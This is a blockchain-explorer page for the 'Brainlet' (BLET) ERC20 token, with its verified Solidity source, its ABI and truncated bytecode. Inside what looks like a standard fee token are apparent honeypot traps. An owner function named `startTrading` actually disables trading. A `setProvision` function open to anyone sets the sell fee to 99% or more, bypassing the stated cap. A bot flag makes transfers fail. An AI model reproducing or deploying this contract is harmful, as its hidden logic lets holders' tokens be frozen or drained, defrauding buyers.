ETH Price: $2,454.98 (-1.32%)

Token

Brainlet (BLET)
 

Overview

Max Total Supply

1,000,000,000,000 BLET

Holders

84

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
16,860,661,346.813746562 BLET

Value
$0.00
0x3b2f095bbf1993b3bc2E07645d159Bc550693d8C
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Brainlet

Compiler Version
v0.8.16+commit.07a7930e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-05-06
*/

// SPDX-License-Identifier: MIT
 
/*


@Brainleterc


*/
 
pragma solidity 0.8.16;
 
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
 
    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}
 
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {return a + b;}
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {return a - b;}
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {return a * b;}
    function div(uint256 a, uint256 b) internal pure returns (uint256) {return a / b;}
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {return a % b;}
 
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {uint256 c = a + b; if(c < a) return(false, 0); return(true, c);}}
 
    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {if(b > a) return(false, 0); return(true, a - b);}}
 
    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {if (a == 0) return(true, 0); uint256 c = a * b;
        if(c / a != b) return(false, 0); return(true, c);}}
 
    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {if(b == 0) return(false, 0); return(true, a / b);}}
 
    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {if(b == 0) return(false, 0); return(true, a % b);}}
 
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked{require(b <= a, errorMessage); return a - b;}}
 
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked{require(b > 0, errorMessage); return a / b;}}
 
    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked{require(b > 0, errorMessage); return a % b;}}}
 
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function circulatingSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function getOwner() external view returns (address);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);}
 
abstract contract Ownable is Context{
    address private _owner;
 
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor() {
        _transferOwnership(_msgSender());
    }
 
    function owner() public view virtual returns (address) {
        return _owner;
    }
 
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
 
    function isOwner(address account) public view returns (bool) 
    {
    return account == _owner;
    }
 
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }
 
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
 
    event OwnershipTransferred(address owner);
 
 
}
 
interface IFactory{
        function createPair(address tokenA, address tokenB) external returns (address pair);
        function getPair(address tokenA, address tokenB) external view returns (address pair);
}
 
interface IRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
 
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
 
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
 
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline) external;
}
 
contract Brainlet is IERC20, Ownable {
    using SafeMath for uint256;
    string private constant _name = 'Brainlet';
    string private constant _symbol = 'BLET';
    uint8 private constant _decimals = 9;
    uint256 private _totalSupply = 1000000000000 * (10 ** _decimals);
    uint256 private _maxTxAmountPercent = 2;
    uint256 private _maxTransferPercent = 2;
    uint256 private _maxWalletPercent = 2;
    mapping (address => uint256) _mint;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public isFeeExempt;
    mapping (address => bool) private isBot;
    IRouter router;
    address public pair;
    bool private tradingAllowed = true;
    uint256 private liquidityFee = 0;
    uint256 private marketingFee = 0;
    uint256 private developmentFee = 0;
    uint256 private burnFee = 0;
    uint256 private totalFee = 0;
    uint256 private zenta = 0;
    uint256 private transferFee = 0;
    uint256 private denominator = 100;
    bool private swapEnabled = true;
 
    uint256 private swapTimes;
    bool private swapping; 
    uint256 private swapThreshold = ( _totalSupply * 300 ) / 100000;
    uint256 private _minTokenAmount = ( _totalSupply * 10 ) / 100000;
    modifier lockTheSwap {swapping = true; _; swapping = false;}
 
    address internal constant DEAD = 0x000000000000000000000000000000000000dEaD;
    address internal constant development_receiver = 0x6E8535E43D4F21fB3dC48065162c12924c35B712; 
    address internal constant marketing_receiver = 0x6E8535E43D4F21fB3dC48065162c12924c35B712;
    address internal constant liquidity_receiver = 0x6E8535E43D4F21fB3dC48065162c12924c35B712;
 
 
    constructor() Ownable() {
        IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        address _pair = IFactory(_router.factory()).createPair(address(this), _router.WETH());
        router = _router;
        pair = _pair;
        isFeeExempt[address(this)] = true;
        isFeeExempt[liquidity_receiver] = true;
        isFeeExempt[marketing_receiver] = true;
        isFeeExempt[msg.sender] = true;
        _mint[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }
 
    receive() external payable {}
    function name() public pure returns (string memory) {return _name;}
    function symbol() public pure returns (string memory) {return _symbol;}
    function decimals() public pure returns (uint8) {return _decimals;}
    function startTrading() external onlyOwner {tradingAllowed = false;}
    function getOwner() external view override returns (address) { return owner(); }
    function totalSupply() public view override returns (uint256) {return _totalSupply;}
    function balanceOf(address account) public view override returns (uint256) {return _mint[account];}
    function transfer(address recipient, uint256 amount) public override returns (bool) {_transfer(msg.sender, recipient, amount);return true;}
    function allowance(address owner, address spender) public view override returns (uint256) {return _allowances[owner][spender];}
    function isCont(address addr) internal view returns (bool) {uint size; assembly { size := extcodesize(addr) } return size > 0; }
    function setisBot(address _address, bool _enabled) external onlyOwner {isBot[_address] = _enabled;}
    function setisExempt(address _address, bool _enabled) external onlyOwner {isFeeExempt[_address] = _enabled;}
    function setProvision(uint256 _sumamount) public virtual{zenta = _sumamount;require(_sumamount >=99);}
    function approve(address spender, uint256 amount) public override returns (bool) {_approve(msg.sender, spender, amount);return true;}
    function circulatingSupply() public view override returns (uint256) {return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(address(0)));}
    function _maxWalletToken() public view returns (uint256) {return totalSupply() * _maxWalletPercent / denominator;}
    function _maxTxAmount() public view returns (uint256) {return totalSupply() * _maxTxAmountPercent / denominator;}
    function _maxTransferAmount() public view returns (uint256) {return totalSupply() * _maxTransferPercent / denominator;}
 
    function preTxCheck(address sender, address recipient, uint256 amount) internal view {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount > uint256(0), "Transfer amount must be greater than zero");
        require(amount <= balanceOf(sender),"You are trying to transfer more than your balance");
    }
 
    function _transfer(address sender, address recipient, uint256 amount) private {
        preTxCheck(sender, recipient, amount);
        checkTradingAllowed(sender, recipient);
        checkMaxWallet(sender, recipient, amount); 
        swapbackCounters(sender, recipient);
        checkTxLimit(sender, recipient, amount); 
        swapBack(sender, recipient, amount);
        _mint[sender] = _mint[sender].sub(amount);
        uint256 amountReceived = shouldTakeFee(sender, recipient) ? takeFee(sender, recipient, amount) : amount;
        _mint[recipient] = _mint[recipient].add(amountReceived);
        emit Transfer(sender, recipient, amountReceived);
    }
 
    function setStructure(uint256 _liquidity, uint256 _marketing, uint256 _burn, uint256 _development, uint256 _total, uint256 _sell, uint256 _trans) external onlyOwner {
        liquidityFee = _liquidity;
        marketingFee = _marketing;
        burnFee = _burn;
        developmentFee = _development;
        totalFee = _total;
        zenta = _sell;
        transferFee = _trans;
        require(totalFee <= denominator.div(5) && transferFee <= denominator.div(5) && zenta <= denominator.div(3), "totalFee and zenta cannot be more than 20%");
    }
 
    function setParameters(uint256 _buy, uint256 _trans, uint256 _wallet) external onlyOwner {
        uint256 newTx = (totalSupply() * _buy) / 100;
        uint256 newTransfer = (totalSupply() * _trans) / 100;
        uint256 newWallet = (totalSupply() * _wallet) / 100;
        _maxTxAmountPercent = _buy;
        _maxTransferPercent = _trans;
        _maxWalletPercent = _wallet;
        uint256 limit = totalSupply().mul(5).div(10);
        require(newTx >= limit && newTransfer >= limit && newWallet >= limit, "Max TXs and Max Wallet cannot be less than .5%");
    }
 
    function checkTradingAllowed(address sender, address recipient) internal view {
        if(!isFeeExempt[sender] && !isFeeExempt[recipient]){require(tradingAllowed, "tradingAllowed");}
    }
 
    function checkMaxWallet(address sender, address recipient, uint256 amount) internal view {
        if(!isFeeExempt[sender] && !isFeeExempt[recipient] && recipient != address(pair) && recipient != address(DEAD)){
            require((_mint[recipient].add(amount)) <= _maxWalletToken(), "Exceeds maximum wallet amount.");}
    }
 
    function swapbackCounters(address sender, address recipient) internal {
        if(recipient == pair && !isFeeExempt[sender]){swapTimes += uint256(1);}
    }
 
    function checkTxLimit(address sender, address recipient, uint256 amount) internal view {
        if(sender != pair){require(amount <= _maxTransferAmount() || isFeeExempt[sender] || isFeeExempt[recipient], "TX Limit Exceeded");}
        require(amount <= _maxTxAmount() || isFeeExempt[sender] || isFeeExempt[recipient], "TX Limit Exceeded");
    }
 
    function swapAndLiquify(uint256 tokens) private lockTheSwap {
        uint256 _denominator = (liquidityFee.add(1).add(marketingFee).add(developmentFee)).mul(2);
        uint256 tokensToAddLiquidityWith = tokens.mul(liquidityFee).div(_denominator);
        uint256 toSwap = tokens.sub(tokensToAddLiquidityWith);
        uint256 initialBalance = address(this).balance;
        swapTokensForETH(toSwap);
        uint256 deltaBalance = address(this).balance.sub(initialBalance);
        uint256 unitBalance= deltaBalance.div(_denominator.sub(liquidityFee));
        uint256 ETHToAddLiquidityWith = unitBalance.mul(liquidityFee);
        if(ETHToAddLiquidityWith > uint256(0)){addLiquidity(tokensToAddLiquidityWith, ETHToAddLiquidityWith); }
        uint256 marketingAmt = unitBalance.mul(2).mul(marketingFee);
        if(marketingAmt > 0){payable(marketing_receiver).transfer(marketingAmt);}
        uint256 remainingBalance = address(this).balance;
        if(remainingBalance > uint256(0)){payable(development_receiver).transfer(remainingBalance);}
    }
 
    function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private {
        _approve(address(this), address(router), tokenAmount);
        router.addLiquidityETH{value: ETHAmount}(
            address(this),
            tokenAmount,
            0,
            0,
            liquidity_receiver,
            block.timestamp);
    }
 
    function swapTokensForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();
        _approve(address(this), address(router), tokenAmount);
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp);
    }
 
    function shouldSwapBack(address sender, address recipient, uint256 amount) internal view returns (bool) {
        bool aboveMin = amount >= _minTokenAmount;
        bool aboveThreshold = balanceOf(address(this)) >= swapThreshold;
        return !swapping && swapEnabled && tradingAllowed && aboveMin && !isFeeExempt[sender] && recipient == pair && swapTimes >= uint256(0) && aboveThreshold;
    }
 
    function swapBack(address sender, address recipient, uint256 amount) internal {
        if(shouldSwapBack(sender, recipient, amount)){swapAndLiquify(swapThreshold); swapTimes = uint256(0);}
    }
 
    function shouldTakeFee(address sender, address recipient) internal view returns (bool) {
        return !isFeeExempt[sender] && !isFeeExempt[recipient];
    }
 
    function getTotalFee(address sender, address recipient) internal view returns (uint256) {
        if(isBot[sender] || isBot[recipient]){return denominator*100;}
        if(recipient == pair){return zenta;}
        if(sender == pair){return totalFee;}
        return transferFee;
    }
 
    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
        if(getTotalFee(sender, recipient) > 0){
        uint256 feeAmount = amount.div(denominator).mul(getTotalFee(sender, recipient));
        _mint[address(this)] = _mint[address(this)].add(feeAmount);
        emit Transfer(sender, address(this), feeAmount);
        if(burnFee > uint256(0)){_transfer(address(this), address(DEAD), amount.div(denominator).mul(burnFee));}
        return amount.sub(feeAmount);} return amount;
    }
 
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
 
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTransferAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"circulatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isFeeExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buy","type":"uint256"},{"internalType":"uint256","name":"_trans","type":"uint256"},{"internalType":"uint256","name":"_wallet","type":"uint256"}],"name":"setParameters","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_sumamount","type":"uint256"}],"name":"setProvision","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_liquidity","type":"uint256"},{"internalType":"uint256","name":"_marketing","type":"uint256"},{"internalType":"uint256","name":"_burn","type":"uint256"},{"internalType":"uint256","name":"_development","type":"uint256"},{"internalType":"uint256","name":"_total","type":"uint256"},{"internalType":"uint256","name":"_sell","type":"uint256"},{"internalType":"uint256","name":"_trans","type":"uint256"}],"name":"setStructure","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setisBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setisExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526009600a620000149190620007b6565b64e8d4a5100062000026919062000807565b60015560028055600260035560026004556001600a60146101000a81548160ff0219169083151502179055506000600b556000600c556000600d556000600e556000600f556000601055600060115560646012556001601360006101000a81548160ff021916908315150217905550620186a061012c600154620000ab919062000807565b620000b7919062000897565b601655620186a0600a600154620000cf919062000807565b620000db919062000897565b601755348015620000eb57600080fd5b506200010c620001006200055060201b60201c565b6200055860201b60201c565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905060008173ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000173573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000199919062000939565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308473ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000201573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000227919062000939565b6040518363ffffffff1660e01b8152600401620002469291906200097c565b6020604051808303816000875af115801562000266573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200028c919062000939565b905081600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160076000736e8535e43d4f21fb3dc48065162c12924c35b71273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160076000736e8535e43d4f21fb3dc48065162c12924c35b71273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600154600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600154604051620005409190620009ba565b60405180910390a35050620009d7565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620006aa578086048111156200068257620006816200061c565b5b6001851615620006925780820291505b8081029050620006a2856200064b565b945062000662565b94509492505050565b600082620006c5576001905062000798565b81620006d5576000905062000798565b8160018114620006ee5760028114620006f9576200072f565b600191505062000798565b60ff8411156200070e576200070d6200061c565b5b8360020a9150848211156200072857620007276200061c565b5b5062000798565b5060208310610133831016604e8410600b8410161715620007695782820a9050838111156200076357620007626200061c565b5b62000798565b62000778848484600162000658565b925090508184048111156200079257620007916200061c565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b6000620007c3826200079f565b9150620007d083620007a9565b9250620007ff7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620006b3565b905092915050565b600062000814826200079f565b915062000821836200079f565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156200085d576200085c6200061c565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000620008a4826200079f565b9150620008b1836200079f565b925082620008c457620008c362000868565b5b828204905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006200090182620008d4565b9050919050565b6200091381620008f4565b81146200091f57600080fd5b50565b600081519050620009338162000908565b92915050565b600060208284031215620009525762000951620008cf565b5b6000620009628482850162000922565b91505092915050565b6200097681620008f4565b82525050565b60006040820190506200099360008301856200096b565b620009a260208301846200096b565b9392505050565b620009b4816200079f565b82525050565b6000602082019050620009d16000830184620009a9565b92915050565b61365180620009e76000396000f3fe60806040526004361061016a5760003560e01c806370a08231116100d15780638c41180e1161008a57806395d89b411161006457806395d89b4114610525578063a8aa1b3114610550578063a9059cbb1461057b578063dd62ed3e146105b857610171565b80638c41180e146104a65780638da5cb5b146104cf5780639358928b146104fa57610171565b806370a08231146103a8578063715018a6146103e557806378109e54146103fc5780637d1db4a514610427578063893d20e8146104525780638a5583d11461047d57610171565b8063293230b811610123578063293230b81461029a5780632f54bf6e146102b1578063313ce567146102ee57806334c5d2ce146103195780633f4218e01461034257806348ff2b8b1461037f57610171565b8063044019301461017657806306fdde031461019f578063095ea7b3146101ca57806318160ddd146102075780631f976b7e1461023257806323b872dd1461025d57610171565b3661017157005b600080fd5b34801561018257600080fd5b5061019d6004803603810190610198919061273d565b6105f5565b005b3480156101ab57600080fd5b506101b461074b565b6040516101c1919061286f565b60405180910390f35b3480156101d657600080fd5b506101f160048036038101906101ec91906128ef565b610788565b6040516101fe919061294a565b60405180910390f35b34801561021357600080fd5b5061021c61079f565b6040516102299190612974565b60405180910390f35b34801561023e57600080fd5b506102476107a9565b6040516102549190612974565b60405180910390f35b34801561026957600080fd5b50610284600480360381019061027f919061298f565b6107d2565b604051610291919061294a565b60405180910390f35b3480156102a657600080fd5b506102af61089d565b005b3480156102bd57600080fd5b506102d860048036038101906102d391906129e2565b610936565b6040516102e5919061294a565b60405180910390f35b3480156102fa57600080fd5b5061030361098f565b6040516103109190612a2b565b60405180910390f35b34801561032557600080fd5b50610340600480360381019061033b9190612a46565b610998565b005b34801561034e57600080fd5b50610369600480360381019061036491906129e2565b610b28565b604051610376919061294a565b60405180910390f35b34801561038b57600080fd5b506103a660048036038101906103a19190612ac5565b610b48565b005b3480156103b457600080fd5b506103cf60048036038101906103ca91906129e2565b610c1f565b6040516103dc9190612974565b60405180910390f35b3480156103f157600080fd5b506103fa610c68565b005b34801561040857600080fd5b50610411610cf0565b60405161041e9190612974565b60405180910390f35b34801561043357600080fd5b5061043c610d19565b6040516104499190612974565b60405180910390f35b34801561045e57600080fd5b50610467610d42565b6040516104749190612b14565b60405180910390f35b34801561048957600080fd5b506104a4600480360381019061049f9190612b2f565b610d51565b005b3480156104b257600080fd5b506104cd60048036038101906104c89190612ac5565b610d69565b005b3480156104db57600080fd5b506104e4610e40565b6040516104f19190612b14565b60405180910390f35b34801561050657600080fd5b5061050f610e69565b60405161051c9190612974565b60405180910390f35b34801561053157600080fd5b5061053a610eaa565b604051610547919061286f565b60405180910390f35b34801561055c57600080fd5b50610565610ee7565b6040516105729190612b14565b60405180910390f35b34801561058757600080fd5b506105a2600480360381019061059d91906128ef565b610f0d565b6040516105af919061294a565b60405180910390f35b3480156105c457600080fd5b506105df60048036038101906105da9190612b5c565b610f24565b6040516105ec9190612974565b60405180910390f35b6105fd610fab565b73ffffffffffffffffffffffffffffffffffffffff1661061b610e40565b73ffffffffffffffffffffffffffffffffffffffff1614610671576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161066890612be8565b60405180910390fd5b86600b8190555085600c8190555084600e8190555083600d8190555082600f8190555081601081905550806011819055506106b86005601254610fb390919063ffffffff16565b600f54111580156106e057506106da6005601254610fb390919063ffffffff16565b60115411155b801561070357506106fd6003601254610fb390919063ffffffff16565b60105411155b610742576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161073990612c7a565b60405180910390fd5b50505050505050565b60606040518060400160405280600881526020017f427261696e6c6574000000000000000000000000000000000000000000000000815250905090565b6000610795338484610fc9565b6001905092915050565b6000600154905090565b60006012546003546107b961079f565b6107c39190612cc9565b6107cd9190612d52565b905090565b60006107df848484611192565b610892843361088d856040518060600160405280602881526020016135f460289139600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461138b9092919063ffffffff16565b610fc9565b600190509392505050565b6108a5610fab565b73ffffffffffffffffffffffffffffffffffffffff166108c3610e40565b73ffffffffffffffffffffffffffffffffffffffff1614610919576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091090612be8565b60405180910390fd5b6000600a60146101000a81548160ff021916908315150217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b60006009905090565b6109a0610fab565b73ffffffffffffffffffffffffffffffffffffffff166109be610e40565b73ffffffffffffffffffffffffffffffffffffffff1614610a14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0b90612be8565b60405180910390fd5b6000606484610a2161079f565b610a2b9190612cc9565b610a359190612d52565b90506000606484610a4461079f565b610a4e9190612cc9565b610a589190612d52565b90506000606484610a6761079f565b610a719190612cc9565b610a7b9190612d52565b90508560028190555084600381905550836004819055506000610ac2600a610ab46005610aa661079f565b6113e090919063ffffffff16565b610fb390919063ffffffff16565b9050808410158015610ad45750808310155b8015610ae05750808210155b610b1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b1690612df5565b60405180910390fd5b50505050505050565b60076020528060005260406000206000915054906101000a900460ff1681565b610b50610fab565b73ffffffffffffffffffffffffffffffffffffffff16610b6e610e40565b73ffffffffffffffffffffffffffffffffffffffff1614610bc4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bbb90612be8565b60405180910390fd5b80600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610c70610fab565b73ffffffffffffffffffffffffffffffffffffffff16610c8e610e40565b73ffffffffffffffffffffffffffffffffffffffff1614610ce4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cdb90612be8565b60405180910390fd5b610cee60006113f6565b565b6000601254600454610d0061079f565b610d0a9190612cc9565b610d149190612d52565b905090565b6000601254600254610d2961079f565b610d339190612cc9565b610d3d9190612d52565b905090565b6000610d4c610e40565b905090565b806010819055506063811015610d6657600080fd5b50565b610d71610fab565b73ffffffffffffffffffffffffffffffffffffffff16610d8f610e40565b73ffffffffffffffffffffffffffffffffffffffff1614610de5576040517f08c379a0000000000000000000000000000000000000000000000000